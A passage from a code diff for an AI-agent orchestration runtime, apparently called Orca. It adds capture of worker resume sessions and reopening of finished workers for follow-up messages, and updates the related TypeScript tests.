} from '../../../../orchestration/worker-terminal-release-runtime' import type { OrchestrationDb } from '../../../../orchestration/db' import { OrchestrationError } from '../../../../orchestration/orchestration-error' -import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' import type { OrchestrationFleetWorker } from '../../../../../../shared/orchestration-fleet-projection' import { projectWorkerFleet } from './worker-list-projection' import { observeChatAssignee } from '../../../../orchestration/chat-assignee' @@ -13,6 +13,7 @@ import type { WorkerDispatchRow } from '../../../../orchestration/types' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch' +import { exposeDispatchContext } from './dispatch-context-exposure' /** Recover live handles by recorded process incarnation so stale durable handles cannot hide and leak running workers. */ export async function inspectWorkerTerminal( @@ -167,34 +168,6 @@ function exposeContextOnlyWorker(dispatch: DispatchContextRow) { } } -// Hide authority hashes and decode host_scope; emit one camelCase shape matching exposeWorker. -export function exposeDispatchContext(dispatch: DispatchContextRow) { - return { - id: dispatch.id, - runId: dispatch.run_id, - taskId: dispatch.task_id, - // Keep dispatch.task_id beside the rename because shipped CLIs still read it. - task_id: dispatch.task_id, - contractVersion: dispatch.contract_version, - assigneeHandle: dispatch.assignee_handle, - assigneePaneKey: dispatch.assignee_pane_key, - processIncarnation: dispatch.process_incarnation, - capabilityRevokedAt: dispatch.capability_revoked_at, - retryOfDispatchId: dispatch.retry_of_dispatch_id, - creatorDispatchId: dispatch.creator_dispatch_id, - hostScope: parseWorkerTerminalHostScope(dispatch.host_scope), - status: dispatch.status, - failureCount: dispatch.failure_count, - lastFailure: dispatch.last_failure, - terminationReason: dispatch.termination_reason, - depth: dispatch.depth, - dispatchedAt: dispatch.dispatched_at, - completedAt: dispatch.completed_at, - createdAt: dispatch.created_at, - lastHeartbeatAt: dispatch.last_heartbeat_at - } -} - export async function showContextOnlyWorker( runtime: WorkerTerminalReleaseRuntime, db: OrchestrationDb, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts index 2cf644cd5c8..b53c2518278 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive-capture.ts @@ -8,6 +8,7 @@ import { import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' import { releaseUnknownRecovery, type WorkerReleaseReceipt } from './worker-release-completion' import { archiveSummary } from './worker-terminal-resource-presentation' +import { captureWorkerResumeSession } from './worker-resume-session-capture' /** Freeze release output; unverifiable structured sessions finish release_unknown instead of retrying forever as requested. A fresh request may retry. */ export async function captureWorkerReleaseArchive( @@ -17,6 +18,7 @@ export async function captureWorkerReleaseArchive( } ): Promise<{ captured: WorkerOutputArchiveCapture } | { receipt: WorkerReleaseReceipt }> { const { db, resource, ...capture } = args + captureWorkerResumeSession(capture.runtime, db, resource, capture.attachedAtMs) try { return { captured: await captureWorkerOutputArchive(capture) } } catch (error) { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts index 9dd01bbe9c1..fcccbf13f24 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release-archive.spec.ts @@ -112,6 +112,24 @@ export function registerWorkerReleaseArchiveTests(): void { expect(h.runtime.readTerminal).not.toHaveBeenCalled() }) + it('keeps the conversation the agent reports last, so a follow-up can reopen it after release', async () => { + h.setup() + const { dispatchId } = await h.startSettledWorker() + // A /clear after the report moved the agent to a new conversation. + vi.mocked(h.runtime.getExactWorkerProviderSession).mockReturnValue({ + paneKey: 'tab_worker:leaf', + agent: 'claude', + processIncarnation: 'runtime_test:term_worker:1', + providerSession: { key: 'session_id', id: 'after-clear' }, + observedAt: 1 + }) + await h.call('orchestration.workerRelease', { dispatch: dispatchId }) + + expect( + JSON.parse(h.db.getWorkerTerminalResourceByOwner(dispatchId)?.resume_session ?? 'null') + ).toMatchObject({ agent: 'claude', providerSession: { id: 'after-clear' } }) + }) + it('reads an immutable transcript snapshot after the provider file disappears', async () => { h.setup() const directory = await mkdtemp(join(tmpdir(), 'orca-worker-release-snapshot-')) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts new file mode 100644 index 00000000000..2b4fc09df56 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-resume-session-capture.ts @@ -0,0 +1,59 @@ +import { isStructuredWorkerHandle } from '../../../../../../shared/structured-worker-handle' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + findHeldWorkerResourceForPane, + recordWorkerResumeSession +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import { orchestrationTimestampToMs } from './worker-output' + +/** Save the terminal agent's conversation while its hook rows still name it: at its report, and before stop or release closes it. */ +export function captureWorkerResumeSession( + runtime: Pick, + db: OrchestrationDb, + resource: Pick, + attachedAtMs: number +): void { + if (isStructuredWorkerHandle(resource.terminal_handle)) { + return + } + recordWorkerResumeSession( + db, + resource.id, + runtime.getExactWorkerProviderSession(resource.terminal_handle, attachedAtMs) + ) +} + +/** The worker_done edge: its Dispatch's resource and attach time, read from the settled rows. */ +export function captureReportedWorkerResumeSession( + runtime: Pick, + db: OrchestrationDb, + dispatchId: string +): void { + const resource = db.getWorkerTerminalResourceByOwner(dispatchId) + const worker = db.getWorkerDispatch(dispatchId) + if (resource && worker) { + captureWorkerResumeSession(runtime, db, resource, orchestrationTimestampToMs(worker.created_at)) + } +} + +/** A `/clear` or resumed session in a worker's pane: keep its newest conversation as it moves. */ +export function watchMovedWorkerResumeSessions( + runtime: Pick, + getDb: () => OrchestrationDb | null +): (sessions: readonly { paneKey: string; sessionId: string }[]) => void { + // Each notification lists every pane; only a pane whose conversation changed needs saving. + let seen = new Map() + return (sessions) => { + const db = getDb() + const moved = sessions.filter(({ paneKey, sessionId }) => seen.get(paneKey) !== sessionId) + seen = new Map(sessions.map(({ paneKey, sessionId }) => [paneKey, sessionId])) + for (const { paneKey } of db ? moved : []) { + const owner = db && findHeldWorkerResourceForPane(db, paneKey)?.owner_dispatch_id + if (db && owner) { + captureReportedWorkerResumeSession(runtime, db, owner) + } + } + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts index 1b322bcae95..980b4d077bd 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-agent-placement.ts @@ -22,6 +22,7 @@ import { type WorkerSetupReceipt } from './worker-topology' import { createWorkerWorktree, type WorkerWorktreeCreationTarget } from './worker-worktree-creation' +import type { ReopenedWorker, WorkerFollowUp } from './worker-follow-up-placement' /** Name only the two required fields so untyped worktree accessors cannot introduce any into unions. */ type PlacedWorktree = { id: string; repoId: string } @@ -36,6 +37,10 @@ export type WorkerAgentPlacement = { structuredSession: WorkerStructuredSession | null setupReceipt: WorkerSetupReceipt warning?: string + /** Set when a follow-up brought a closed worker back instead of launching one. */ + reopened?: ReopenedWorker + /** Context the fresh agent's Task carries in place of the conversation it could not reopen. */ + extraSpec?: string } type WorkerAgentPlacementArgs = { @@ -56,6 +61,8 @@ type WorkerAgentPlacementArgs = { effects: WorkerEffect[] /** Attributes a throw to the step that was running, the way the caller's own stages do. */ onStage: (stage: string) => void + /** A follow-up continuing a worker; a closed one is brought back in place of a launch. */ + followUp?: WorkerFollowUp | undefined } /** Setup evidence for existing placements and failures before placement creation. */ @@ -87,7 +94,29 @@ export async function placeWorkerAgent( setupReceipt: EXISTING_WORKTREE_SETUP } } - return launchWorkerAgent(args, existing) + const reopened = existing && (await args.followUp?.reopen?.(args.dispatchId)) + if (existing && reopened) { + args.effects.push({ + kind: 'terminal', + role: 'agent', + // Only a resumed tab is Orca's to clean up; a chat keeps its conversation. + action: reopened.chat ? 'reused' : 'created', + id: reopened.handle + }) + return { + mode: args.mode, + worktree: existing, + terminalHandle: reopened.handle, + structuredSession: null, + setupReceipt: EXISTING_WORKTREE_SETUP, + reopened + } + } + const launched = await launchWorkerAgent(args, existing) + // A reopen refused before spawning anything: the fresh agent gets the earlier work instead. + return reopened === null && args.followUp?.earlierWork + ? { ...launched, extraSpec: args.followUp.earlierWork } + : launched } async function launchWorkerAgent( diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts index b1aad80ab62..dd32f52e308 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-readiness-settlement.ts @@ -104,7 +104,11 @@ export async function deliverAndSettleWorkerStartReadiness(args: { // A worker report can settle the dispatch while turn observation is outstanding. const currentWorker = db.getWorkerDispatch(args.dispatchId) const alreadySettled = currentWorker && currentWorker.state !== 'starting' - if (turnStart.verdict === 'unobserved' && !alreadySettled) { + // Only Orca's own worker chat queues behind its own turn, so its card is sure to run; a user's chat may drop it. + const queuedOnOwnWorker = + turnStart.queued === true && + db.getWorkerTerminalResourceByOwner(args.dispatchId)?.ownership_state === 'owned' + if (turnStart.verdict === 'unobserved' && !queuedOnOwnWorker && !alreadySettled) { // Keep authority and terminal for recovery reports, but never claim ready for an unobserved turn. effects.push({ kind: 'dispatch_input', @@ -156,7 +160,7 @@ export async function deliverAndSettleWorkerStartReadiness(args: { state: reportedOutcome ? 'ready' : worker.state, stage: worker.stage, ...(reportedOutcome ? { workerOutcome: reportedOutcome } : {}), - turnStart: turnStart.verdict, + turnStart: queuedOnOwnWorker ? 'queued' : turnStart.verdict, setup: args.setupReceipt, launch: args.launchReceipt, mode: args.mode, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts index a9161057302..7b36b4c1767 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-start-turn-observation.ts @@ -11,6 +11,8 @@ export type WorkerTurnStartObservation = { prompt?: RuntimeTerminalPromptDelivery /** Why an `unobserved` start is unknown, when the default PTY wording does not fit. */ reason?: string + /** Held as a card in a chat's queue; it runs when the chat's current turn ends. */ + queued?: boolean } function classifyPromptDelivery(prompt: RuntimeTerminalPromptDelivery): WorkerTurnStartVerdict { diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts index 3aee793b9fa..562b52f389c 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-stop-archive.ts @@ -3,6 +3,7 @@ import { captureWorkerOutputArchive } from '../../../../orchestration/worker-out import type { WorkerTerminalReleaseRuntime } from '../../../../orchestration/worker-terminal-release-runtime' import { resolveStructuredWorkerForDispatch } from '../../orchestration-structured-worker-lifecycle' import { orchestrationTimestampToMs } from './worker-output' +import { captureWorkerResumeSession } from './worker-resume-session-capture' import { withTimeout } from '../../../../../../shared/promise-timeout-fallback' // Well inside the 30 s remote stop RPC budget. @@ -20,6 +21,10 @@ export async function archiveWorkerOutputBeforeStop(args: { // Stopping matters more than the copy; on failure or timeout, release reports the archive unavailable. try { const resource = db.getWorkerTerminalResourceByOwner(dispatchId) + const attachedAtMs = orchestrationTimestampToMs(args.attachedAt) + if (resource) { + captureWorkerResumeSession(args.runtime, db, resource, attachedAtMs) + } if ( !resource || resource.ownership_state !== 'owned' || @@ -32,7 +37,7 @@ export async function archiveWorkerOutputBeforeStop(args: { runtime: args.runtime, dispatchId, terminalHandle: args.terminalHandle, - attachedAtMs: orchestrationTimestampToMs(args.attachedAt), + attachedAtMs, structuredWorker: resolveStructuredWorkerForDispatch(db, dispatchId) }), STOP_ARCHIVE_TIMEOUT_MS, diff --git a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts index c81fd35114a..73de2c04c34 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/workers.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/workers.ts @@ -1,7 +1,9 @@ import { OrchestrationError } from '../../../../orchestration/orchestration-error' -import { defineMethod } from '../../../core' +import type { z } from 'zod' +import { defineMethod, type RpcContext } from '../../../core' import { startFederatedWorker } from '../federation/federated-worker-start' import { startLocalWorker } from './local-worker-start' +import type { WorkerFollowUp } from './worker-follow-up-placement' import { withWorkerStartNext } from '../receipt-next' import { decideWorkerStartMode, @@ -20,113 +22,128 @@ import { assertWorkerStartTaskSpecWithinPromptBudget } from './worker-start-prom import { ORCA_SESSION_ADDRESS_PREFIX } from '../../../../../../shared/orca-session-address' import { ORCHESTRATION_SESSION_CALLER_ERROR_CODES as SESSION_CODES } from '../../../../../../shared/orchestration-session-caller-codes' +type WorkerStartContext = Pick< + RpcContext, + 'runtime' | 'orchestrationMutation' | 'orchestrationCompatibilityEvidence' | 'orchestrationCaller' +> + export const ORCHESTRATION_WORKER_START_METHODS = [ defineMethod({ name: 'orchestration.workerStart', requires: ['accounts'], permission: 'workspace', params: WorkerStartParams, - handler: async ( - params, - { runtime, orchestrationMutation, orchestrationCompatibilityEvidence, orchestrationCaller } - ) => { - if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) { - throw new OrchestrationError( - 'invalid_argument', - '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.' - ) - } - if (params.on && params.terminal?.startsWith(ORCA_SESSION_ADDRESS_PREFIX)) { - // Refused here, before any remote call: an Orca session ID names a chat only on its own host. - throw new OrchestrationError( - SESSION_CODES.hostBoundary, - `${params.terminal} names a chat by its Orca session ID, which identifies it only on the host that runs it. Run worker-start on that host. No effects were applied.`, - { effectsApplied: false } - ) - } - const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs) - const db = runtime.getOrchestrationDb() - const coordinator = resolveOrchestrationCaller(runtime, { - callerTerminalHandle: params.from, - callerEvidence: orchestrationCompatibilityEvidence, - callerSession: orchestrationCaller - }) - if (params.spec) { - // Before the Run resolves, so a refused spec cannot leave a new Run bound. - await assertWorkerStartTaskSpecWithinPromptBudget(params.spec) - } - const taskDeps = parseTaskDeps(params.deps) - const { bindRun, helperCreator } = resolveWorkerStartRun(runtime, { - coordinator, - from: params.from, - callerSession: orchestrationCaller, - runId: params.run, - // The Run takes the title its first Task gets. - objective: params.spec - ? buildOrchestrationTaskDisplayMetadata({ - spec: params.spec, - taskTitle: params.taskTitle - }).taskTitle - : undefined, - taskReferences: [...(params.parent ? [params.parent] : []), ...(taskDeps ?? [])] - }) - // Name the Run in every receipt so a reused, stale binding is visible. - const withRun = (receipt: unknown): unknown => { - if (!receipt || typeof receipt !== 'object') { - return receipt - } - const { run, created } = bindRun() - return { ...receipt, run: { id: run.id, objective: run.objective, created } } - } - const existingTask = params.task ? db.getTask(params.task) : undefined - // --task excludes --spec, so this never creates a Run. - if (params.task && (!existingTask || existingTask.run_id !== bindRun().run.id)) { - throw new OrchestrationError( - 'task_not_found', - `Task ${params.task} was not found in Run ${bindRun().run.id}.` - ) - } - if (helperCreator) { - assertHelperStartScope(db, helperCreator, { - task: existingTask, - params - }) - } - if (existingTask) { - await assertWorkerStartTaskSpecWithinPromptBudget(existingTask.spec) - } - const mode = decideWorkerStartMode({ - params, - settings: readWorkerStartModeSettings(runtime) - }) - if (params.on) { - // Remote workers are terminal-only; carry the mode receipt to explain structured-preference fallback. - const receipt = await startFederatedWorker({ - params, - runtime, - db, - bindRunId: () => bindRun().run.id, - task: existingTask, - taskDeps, - orchestrationMutation, - callerSession: orchestrationCaller - }) - return withRun(receipt && typeof receipt === 'object' ? { ...receipt, mode } : receipt) - } - const receipt = await startLocalWorker({ - params: { ...params, timeoutMs: readinessTimeoutMs }, - runtime, - db, - bindRun: () => bindRun().run, - taskDeps, - coordinator, - callerSession: orchestrationCaller, - existingTask, - orchestrationMutation, - mode, - helperCreator - }) - return withRun(withWorkerStartNext(receipt)) - } + handler: async (params, ctx) => startWorker(params, ctx) }) ] + +/** worker-start, and a follow-up sent to a finished worker, which is worker-start run for the sender. */ +export async function startWorker( + params: z.infer, + { + runtime, + orchestrationMutation, + orchestrationCompatibilityEvidence, + orchestrationCaller + }: WorkerStartContext, + followUp?: WorkerFollowUp +): Promise { + if (!isWorkerStartTimeoutWithinTimerLimit(params.timeoutMs)) { + throw new OrchestrationError( + 'invalid_argument', + '--timeout-ms is too large for worker-start transport grace; the derived timeout must fit within the timer limit.' + ) + } + if (params.on && params.terminal?.startsWith(ORCA_SESSION_ADDRESS_PREFIX)) { + // Refused here, before any remote call: an Orca session ID names a chat only on its own host. + throw new OrchestrationError( + SESSION_CODES.hostBoundary, + `${params.terminal} names a chat by its Orca session ID, which identifies it only on the host that runs it. Run worker-start on that host. No effects were applied.`, + { effectsApplied: false } + ) + } + const readinessTimeoutMs = resolveWorkerStartReadinessTimeoutMs(params.timeoutMs) + const db = runtime.getOrchestrationDb() + const coordinator = resolveOrchestrationCaller(runtime, { + callerTerminalHandle: params.from, + callerEvidence: orchestrationCompatibilityEvidence, + callerSession: orchestrationCaller + }) + if (params.spec) { + // Before the Run resolves, so a refused spec cannot leave a new Run bound. + await assertWorkerStartTaskSpecWithinPromptBudget(params.spec) + } + const taskDeps = parseTaskDeps(params.deps) + const { bindRun, helperCreator } = resolveWorkerStartRun(runtime, { + coordinator, + from: params.from, + callerSession: orchestrationCaller, + runId: params.run, + // The Run takes the title its first Task gets. + objective: params.spec + ? buildOrchestrationTaskDisplayMetadata({ + spec: params.spec, + taskTitle: params.taskTitle + }).taskTitle + : undefined, + taskReferences: [...(params.parent ? [params.parent] : []), ...(taskDeps ?? [])] + }) + // Name the Run in every receipt so a reused, stale binding is visible. + const withRun = (receipt: unknown): unknown => { + if (!receipt || typeof receipt !== 'object') { + return receipt + } + const { run, created } = bindRun() + return { ...receipt, run: { id: run.id, objective: run.objective, created } } + } + const existingTask = params.task ? db.getTask(params.task) : undefined + // --task excludes --spec, so this never creates a Run. + if (params.task && (!existingTask || existingTask.run_id !== bindRun().run.id)) { + throw new OrchestrationError( + 'task_not_found', + `Task ${params.task} was not found in Run ${bindRun().run.id}.` + ) + } + if (helperCreator) { + assertHelperStartScope(db, helperCreator, { + task: existingTask, + params + }) + } + if (existingTask) { + await assertWorkerStartTaskSpecWithinPromptBudget(existingTask.spec) + } + const mode = decideWorkerStartMode({ + params, + settings: readWorkerStartModeSettings(runtime) + }) + if (params.on) { + // Remote workers are terminal-only; carry the mode receipt to explain structured-preference fallback. + const receipt = await startFederatedWorker({ + params, + runtime, + db, + bindRunId: () => bindRun().run.id, + task: existingTask, + taskDeps, + orchestrationMutation, + callerSession: orchestrationCaller + }) + return withRun(receipt && typeof receipt === 'object' ? { ...receipt, mode } : receipt) + } + const receipt = await startLocalWorker({ + params: { ...params, timeoutMs: readinessTimeoutMs }, + runtime, + db, + bindRun: () => bindRun().run, + taskDeps, + coordinator, + callerSession: orchestrationCaller, + existingTask, + orchestrationMutation, + mode, + helperCreator, + followUp + }) + return withRun(withWorkerStartNext(receipt)) +} diff --git a/src/main/runtime/rpc/orchestration-mutation-receipt.ts b/src/main/runtime/rpc/orchestration-mutation-receipt.ts index 1d94723550b..12dd317a600 100644 --- a/src/main/runtime/rpc/orchestration-mutation-receipt.ts +++ b/src/main/runtime/rpc/orchestration-mutation-receipt.ts @@ -194,7 +194,8 @@ export function getPendingWorkerStartRecovery( method: string, receipt: string | null ): { dispatchId: string } | undefined { - if (method !== 'orchestration.workerStart' || !receipt) { + // A send to a finished worker accepts a follow-up worker-start the same way. + if ((method !== 'orchestration.workerStart' && method !== 'orchestration.send') || !receipt) { return undefined } try { diff --git a/src/main/runtime/runtime-orchestration-db.test-fixture.ts b/src/main/runtime/runtime-orchestration-db.test-fixture.ts index ee8a518910b..3d32548ea20 100644 --- a/src/main/runtime/runtime-orchestration-db.test-fixture.ts +++ b/src/main/runtime/runtime-orchestration-db.test-fixture.ts @@ -39,6 +39,8 @@ export function dispatchContextRow(fields: Partial): Dispatc creator_handle: null, creator_pane_key: null, creator_orca_session_id: null, + follow_up_of_dispatch_id: null, + follow_up_mail_at: null, host_scope: null, status: 'dispatched', failure_count: 0, diff --git a/src/main/runtime/structured-chat-worker-reuse.test.ts b/src/main/runtime/structured-chat-worker-reuse.test.ts index 0ce06f53ae8..4b632d0bdf3 100644 --- a/src/main/runtime/structured-chat-worker-reuse.test.ts +++ b/src/main/runtime/structured-chat-worker-reuse.test.ts @@ -1,5 +1,5 @@ import './rpc/unused-default-rpc-methods.test-fixture' -// A finished structured worker takes follow-up work in its own chat only through worker-start --terminal . +// A finished structured worker takes follow-up work in its own chat through worker-start --terminal , or a send to its Dispatch. import { beforeEach, describe, expect, it, vi } from 'vitest' import { ORCA_SESSION_ADDRESS_PREFIX } from '../../shared/orca-session-address' @@ -17,6 +17,7 @@ import { openChat, request, runtime, + sendUserMessage, settleTurn, turnText } from './structured-chat-coordinator-mail-rig.test-fixture' @@ -80,7 +81,10 @@ function reportDone(sessionId: string, taskId: string, dispatchId: string) { } /** A worker created as worker-start creates one, after its first Dispatch reported done. */ -async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abandon' = 'done') { +async function finishedStructuredWorker( + taskId: string, + settle: 'done' | 'abandon' | 'none' = 'done' +) { const disposed = vi.fn() const observe = host.observeJournalPublications.bind(host) const observed = vi @@ -96,7 +100,7 @@ async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abando creator: { kind: 'session', orcaSessionId: testOrcaSessionId(COORDINATOR) }, maxDepth: 9, taskId, - startOptions: {} + startOptions: { agent: 'codex' } }) const { identity } = await createStructuredWorkerSession({ runtime, @@ -123,7 +127,7 @@ async function finishedStructuredWorker(taskId: string, settle: 'done' | 'abando { dispatch: started.dispatch.id }, { sessionId: COORDINATOR } ) - } else { + } else if (settle === 'done') { expect(await reportDone(identity.sessionId, taskId, started.dispatch.id)).toMatchObject({ ok: true, result: { lifecycle: { action: 'completed' } } @@ -208,27 +212,30 @@ describe('a finished structured worker', () => { await vi.waitFor(() => expect(disposed).toHaveBeenCalledTimes(2), WAIT) }) - it('kept open by the user is refused, as a kept terminal is', async () => { + it('kept open by the user takes follow-up work and stays kept', async () => { await openChat(COORDINATOR) const { taskId } = await coordinatorRunAndTask() const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) const worker = connectionFor(identity.sessionId) expect(db.keepWorkerTerminalOpen(identity.paneKey)).toBe(1) - const receipt = await call( + const followUp = await followUpTask() + const started = call( 'orchestration.workerStart', - { task: await followUpTask(), terminal: identity.handle }, + { task: followUp, terminal: identity.handle }, { sessionId: COORDINATOR } ) + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + const dispatchId = String((await started).dispatchId) + expect(await reportDone(identity.sessionId, followUp, dispatchId)).toMatchObject({ ok: true }) - expect(receipt).toMatchObject({ - state: 'failed', - lastError: expect.stringContaining('was kept open by the user') + expect(db.getWorkerTerminalResourceByOwner(dispatchId)).toMatchObject({ + prior_owner_dispatch_ids: JSON.stringify([firstDispatchId]), + release_state: 'retained', + retained_reason: 'user_kept', + auto_release_at: null }) - expect(worker.turns).toHaveLength(0) - expect(db.getWorkerTerminalResourceByOwner(firstDispatchId)?.terminal_handle).toBe( - identity.handle - ) }) it("is not handed a Dispatch that would leave it in the finished one's custody", async () => { @@ -255,12 +262,125 @@ describe('a finished structured worker', () => { } }) db.keepWorkerTerminalOpen(identity.paneKey) - expect(await dispatch()).toMatchObject({ ok: false, error: { code: 'terminal_kept_open' } }) + expect(await dispatch()).toMatchObject({ ok: false, error: { code: 'invalid_argument' } }) expect(worker.turns).toHaveLength(0) expect(db.getWorkerTerminalResourceByOwner(firstDispatchId)).toBeDefined() }) }) +function sendTo(dispatchId: string, body: string) { + return call( + 'orchestration.send', + { to: `dispatch:${dispatchId}`, subject: 'Follow-up', body }, + { sessionId: COORDINATOR } + ) +} + +describe('a send to a finished structured worker', () => { + it('becomes one follow-up on that worker; a racing send steers it', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) + const worker = connectionFor(identity.sessionId) + + const first = sendTo(firstDispatchId, 'and the docs') + const second = sendTo(firstDispatchId, 'also the changelog') + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + const [followUp, steered] = await Promise.all([first, second]) + + expect(followUp).toMatchObject({ + delivery: 'follow_up', + followUpOf: firstDispatchId, + effects: expect.arrayContaining([ + expect.objectContaining({ role: 'agent', id: identity.handle }) + ]), + state: 'ready' + }) + expect(turnText(worker.turns[0]!)).toContain('and the docs') + expect(steered).toMatchObject({ + message: { to_handle: `dispatch:${String(followUp.dispatchId)}` } + }) + expect(db.getDispatchContextById(String(followUp.dispatchId))).toMatchObject({ + follow_up_of_dispatch_id: firstDispatchId, + assignee_orca_session_id: identity.sessionId + }) + }) + + it('queued behind the turn the worker reported from is accepted, not unknown', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId, 'none') + const worker = connectionFor(identity.sessionId) + expect(await sendUserMessage(identity.sessionId, 'go')).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + // The worker reports from inside that turn, which is still running. + worker.handlers.onNotification?.('turn/started', { turn: { id: 'turn-1' } }) + await host.flushStreamedEvents(identity.sessionId) + expect(await reportDone(identity.sessionId, taskId, firstDispatchId)).toMatchObject({ + ok: true + }) + + expect(await sendTo(firstDispatchId, 'and the docs')).toMatchObject({ + delivery: 'follow_up', + state: 'ready', + turnStart: 'queued' + }) + worker.handlers.onNotification?.('turn/completed', { turn: { id: 'turn-1' } }) + await host.flushStreamedEvents(identity.sessionId) + await vi.waitFor(() => expect(worker.turns.length).toBeGreaterThan(1), WAIT) + expect(worker.turns.map(turnText).join('\n')).toContain('and the docs') + }) + + it('after it was closed, reopens its chat in the same conversation', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId) + // The rig has no settings store; reopening validates the worker's agent against it. + vi.spyOn(runtime, 'validateOrchestrationAgentLauncher').mockImplementation(() => {}) + await call( + 'orchestration.workerRelease', + { dispatch: firstDispatchId }, + { sessionId: COORDINATOR } + ) + expect(host.isSessionTabVisible(identity.sessionId)).toBe(false) + + const followUp = sendTo(firstDispatchId, 'and the docs') + await vi.waitFor(() => expect(connectionFor(identity.sessionId).turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + + expect(await followUp).toMatchObject({ delivery: 'reopened', state: 'ready' }) + expect(host.isSessionTabVisible(identity.sessionId)).toBe(true) + expect(db.getWorkerTerminalResourceByOwner(String((await followUp).dispatchId))).toMatchObject({ + terminal_handle: identity.handle, + ownership_state: 'owned' + }) + }) + + it('that it never read before reporting becomes its follow-up', async () => { + await openChat(COORDINATOR) + const { taskId } = await coordinatorRunAndTask() + const { identity, firstDispatchId } = await finishedStructuredWorker(taskId, 'none') + const worker = connectionFor(identity.sessionId) + await sendTo(firstDispatchId, 'and the docs') + // The mail pointer arrives; the worker reports without reading it. + await vi.waitFor(() => expect(worker.turns).toHaveLength(1), WAIT) + await settleTurn(identity.sessionId, 0) + + expect(await reportDone(identity.sessionId, taskId, firstDispatchId)).toMatchObject({ + ok: true + }) + await vi.waitFor(() => expect(worker.turns).toHaveLength(2), WAIT) + await settleTurn(identity.sessionId, 1) + + expect(turnText(worker.turns[1]!)).toContain('and the docs') + await vi.waitFor( + () => expect(db.getUnreadMessages(`dispatch:${firstDispatchId}`)).toHaveLength(0), + WAIT + ) + }) +}) + describe('a finished terminal worker', () => { it('is not handed a Dispatch while its finished Dispatch still holds the terminal', async () => { await openChat(COORDINATOR) diff --git a/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts b/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts index 96dbc5ec36d..1f967c5708b 100644 --- a/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts +++ b/src/main/runtime/workspaces/persisted-surfaces/automation-operations.ts @@ -36,6 +36,8 @@ export abstract class OrcaRuntimeWithAutomationOperations extends OrcaRuntimeWit abstract notifyAutomationsChanged(payload?: AutomationsChangedPayload): void abstract ensureOrchestrationFederationRelay(runId?: string): void protected abstract scheduleRestoredMessageRepoints(): void + /** Mail a worker left unread when it reported before a restart still continues it. */ + protected abstract continueRestoredWorkerMail(db: OrchestrationDb): void protected abstract getResolvedWorktreeMap(): Promise> protected abstract getLeafKey(tabId: string, leafId: string): string @@ -162,6 +164,7 @@ export abstract class OrcaRuntimeWithAutomationOperations extends OrcaRuntimeWit this.bindWorkerTerminalAutoRelease(this._orchestrationDb) // Recover deadlines armed before a restart. getWorkerTerminalAutoReleaseScheduler(this).rearm() + this.continueRestoredWorkerMail(this._orchestrationDb) } return this._orchestrationDb } From 